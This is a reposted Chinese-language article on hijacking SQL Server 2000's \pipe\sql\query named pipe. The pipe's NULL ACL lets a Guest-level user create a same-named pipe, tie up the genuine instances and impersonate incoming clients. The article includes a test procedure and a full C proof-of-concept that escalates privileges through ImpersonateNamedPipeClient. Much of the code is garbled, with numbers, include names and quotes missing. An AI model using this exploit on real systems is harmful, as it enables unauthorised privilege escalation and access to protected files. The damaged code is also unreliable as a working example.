熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> SQL Server >> 正文

SQL SERVER 2000通訊管道後復用劫持

2013-11-15 14:38:15  來源: SQL Server 

  SQL SERVER 通訊中允許使用有名管道來進行通訊一般情況下是如此命名的
  默認實例\\\pipe\sql\query
  命名實例\\\pipe\MSSQL$instancename\sql\query
  也可以通過 UDP進行查詢獲得這個管道名稱
  
  但是由於SQL SERVER 對於這個管道的ACL設置為NULL導致任何用戶的權限都可以對這個管道進行劫持以前的劫持都是利用先停掉服務再建立這個名字管道然後再啟動服務來復用自己已經建立了名字的管道但實際上SQL SERVER 會判斷是否已有同名管道然後會取別的名字而且低級權限的用戶也啟動和停止不了服務(除非是利用一些漏洞)但是實際上對管道的測試卻發現如果ACL設置成NULL的話即使是後命名的管道也可以劫持先命令的管道只需要簡單復用管道然後自己建立幾個管道的連接不釋放(具體建立幾個估計和真正的管道
  建立時的實例個數有關如在我的測試下\\\pipe\sql\query只需要建立個接可以劫持了而\\\pipe\lsass則需要個之後才能劫持不過\\\pipe\lsass的ACL只能是管理員才能進行劫持)
  如果攻擊者復用了同名管道以後建立起幾個不釋放的管道(消耗掉了正常管道的實例)然後再有客戶發起的管道連接就進入了攻擊者程序的管道監聽流程剩下的就是大家都知道的利用模擬函數獲得發起者權限的老生常談了
  下面就是一個簡單的例子實現對SQL SERVER 管道通訊的劫持
  環境SQL SERVER +SP
  WIN SERVER中文版+SP
  測試流程
  先建立SQL 服務器允許管道通訊和集成WINDOWS 驗證添加一個具備高權限的允許SQL SERVER登陸的WINDOWS本機帳戶啟動SQL SERVER服務
  C盤下建立一個TESTTXT文件設置ACL為GUEST全部拒絕其他人都許可
  在另外一台機器B上以添加的可以登陸SQL SERVER的服務器帳戶登陸然後設置客戶端網絡庫只為管道(如果有多個可能就會是隨機選一個連接而不肯定是管道進行通訊了)
  然後用SQL SERVER企業管理器建立一個SQL SERVER的連接使用集成WINDOWS驗證
  SQL SERVER這邊的機器進入GUEST帳戶運行下面C代碼的程序會顯示先無法打開TESTTXT文件然後進行劫持等待客戶端管道連接
  在機器B上連接SQL SERVER然後主機A的程序就會截獲這個管道扮演高權限登陸用戶然後可以打開先沒權限打開的文件
  
  當然這個攻擊本身實際的意義可能不大因為估計現在SQL SERVER用管道建立通訊的比較少而且在都允許的情況下一般會主動選擇TCP方式進行連接但同時說明了一個缺乏很好ACL保護的管道也可以用後發復用來進行劫持這就減少了很多需要先停掉服務或預先預測的難題在編寫服務器端管道應用的時候也必須小心
  
  SQL SERVER 劫持代碼
  #include
  #include
  #include
  #include
  
  void main()
  {
  HANDLE pipea;
  FILE * fp;
  DWORD ret;
  DWORD num;
  HANDLE pipeb[];
  int i;
  int dwSize ;
  char szUser[];
  DWORD dwNumber = ;
  //先的測試在GUEST權限下無法打開此文件
  fp = fopen(C:\\testtxtw);
  if(fp==NULL)
  printf(now you dont open file;\n);
  //建立起一個同名管道復用已存在的SQL SERVER的
  pipea = CreateNamedPipe(\\\\\\pipe\\sql\\query
  PIPE_ACCESS_DUPLEX
  PIPE_TYPE_MESSAGE|PIPE_WAIT
  
  
  
  NMPWAIT_USE_DEFAULT_WAIT
  NULL);
  
  if(pipea ==INVALID_HANDLE_VALUE)
  {
  ret = GetLastError();
  printf(error in createnamedpipe!code=%d\nret);
  return;
  }
  //損耗掉其他正常實例
  if(WaitNamedPipe(\\\\\\pipe\\sql\\queryNMPWAIT_WAIT_FOREVER)==)
  {
  printf(no this pipe\n);
  return;
  }
  //可以調整個數SQL SERVER只需要調整一個就可以了
  for(i=;i<1;i++)
  {
  Sleep(20);
  if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
  {
  printf("open pipe failed\n");
  return;
  }
  //WriteFile(pipeb[i],"test1",5,&num,NULL);
  //WriteFile(pipeb[i],"test2",5,&num,NULL);
  }
  //然後等待連接
  ConnectNamedPipe (pipea, NULL);
  ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
  //模擬連接進來的用戶
  ImpersonateNamedPipeClient (pipea);
  dwSize = 256;
  //獲得用戶信息
  GetUserName(szUser, &dwSize);
  printf ("Impersonating: %s\n", szUser);
  //然後再測試是否能打開這個文件,證明確實提升了權限
  fp = fopen("C:\\test.txt","w");
  if(fp!=NULL)
  printf("now you can open file\n");
  DisconnectNamedPipe(pipea);
  CloseHandle(pipea);
  for(i=0;i<1;i++)
  CloseHandle(pipeb[i]);
  return;
  }
  
  

From:http://tw.wingwit.com/Article/program/SQLServer/201311/22102.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.